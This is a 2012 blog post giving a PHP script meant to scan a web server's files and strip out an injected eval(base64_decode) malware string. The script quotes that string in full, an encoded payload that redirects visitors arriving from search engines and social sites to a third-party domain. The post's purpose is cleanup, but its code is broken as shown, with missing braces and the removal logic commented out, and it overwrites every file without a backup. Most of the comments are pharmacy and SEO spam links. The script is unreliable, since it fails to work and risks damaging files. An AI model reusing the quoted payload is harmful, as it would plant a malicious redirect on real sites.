Thursday, January 19, 2012

Remove eval(base64_decode) virus from your server or from website site

Given code below will remove this eval(base64_decode) virus from your website or server you have to save the file by name
list_files.php
and run the file on your server it display all the directory file when you run after successful run it remove the the given virus from site

Please check the same code in $str available on your site if other kindly replace that or dont use.




function listdir($dir='.') { 
if (!is_dir($dir)) { 
return false; 


$files = array(); 
listdiraux($dir, $files); 

return $files; 


function listdiraux($dir, &$files) { 
$handle = opendir($dir); 
while (($file = readdir($handle)) !== false) { 
if ($file == '.' || $file == '..') { 
continue; 

$filepath = $dir == '.' ? $file : $dir . '/' . $file; 
if (is_link($filepath)) 
continue; 
if (is_file($filepath)) 
$files[] = $filepath; 
else if (is_dir($filepath)) 
listdiraux($filepath, $files); 

closedir($handle); 


$files = listdir('.'); 
sort($files, SORT_LOCALE_STRING); 

foreach ($files as $f) { 
echo $f, "
"; 
/*$file = $f; 
$str='eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29udGVudG8uYmVlLnBsLyIpOw0KZXhpdCgpOw0KfQ0KfQ0KfQ0KfQ=="));'; 
$rep =''; 
if($f == 'remove_in_dir.php' || $f == 'remove.php' || $f == 'list_files.php' ){}else 

$fh = fopen($file, 'r+'); 
if(filesize($file) == 0) {} else 

$contents = fread($fh, filesize($file)); 
$new_contents = str_replace($str, $rep, $contents); 

fclose($fh); 

// Open file to write 
$fh = fopen($file, 'w+'); 
fwrite($fh, $new_contents); 
fclose($fh); 

}*/ 

?> 


9 comments:

  1. specialty pharmacy trends 2006 http://sundrugstore.net/products/propranolol.htm nj pharmacy registry

    ReplyDelete
  2. greetings vikasbruce.blogspot.com admin discovered your website via search engine but it was hard to find and I see you could have more visitors because there are not so many comments yet. I have discovered website which offer to dramatically increase traffic to your website http://xrumerservice.org they claim they managed to get close to 1000 visitors/day using their services you could also get lot more targeted traffic from search engines as you have now. I used their services and got significantly more visitors to my website. Hope this helps :) They offer most cost effective backlinks Take care. Jason

    ReplyDelete
  3. We hope that you will use this guide and adapt it to your own version of your perfect day, filling it with nourishing, nurturing thoughts, feelings and experiences that empower and uplift you. Just a smidgeon. It is also used to lower high cholesterol, treat arteriosclerosis and overweight problems. [URL=http://lopolikumieo.com ]snowslides[/URL] In terms of data security, many businesses that face a lot of troubles can easily trace and configure their systems by cloud computing. Jerky is a food item originally from South America.

    ReplyDelete
  4. $about = get_page_by_title( 'My page' );
    update_option( 'page_on_front', $about->ID );
    update_option( 'show_on_front', 'page' );

    ReplyDelete
  5. http://kikolani.com/prepare-your-website-for-geolocation-with-wordpress-plugins.html

    ReplyDelete
  6. I fοr all tіme emailed this blog post pagе to аll my frienԁs,
    since if like to rеad it afteг that my сontactѕ will too.



    Fеel fгee to surf to my homepagе - http://moranhealthplan.com/?p=8086

    ReplyDelete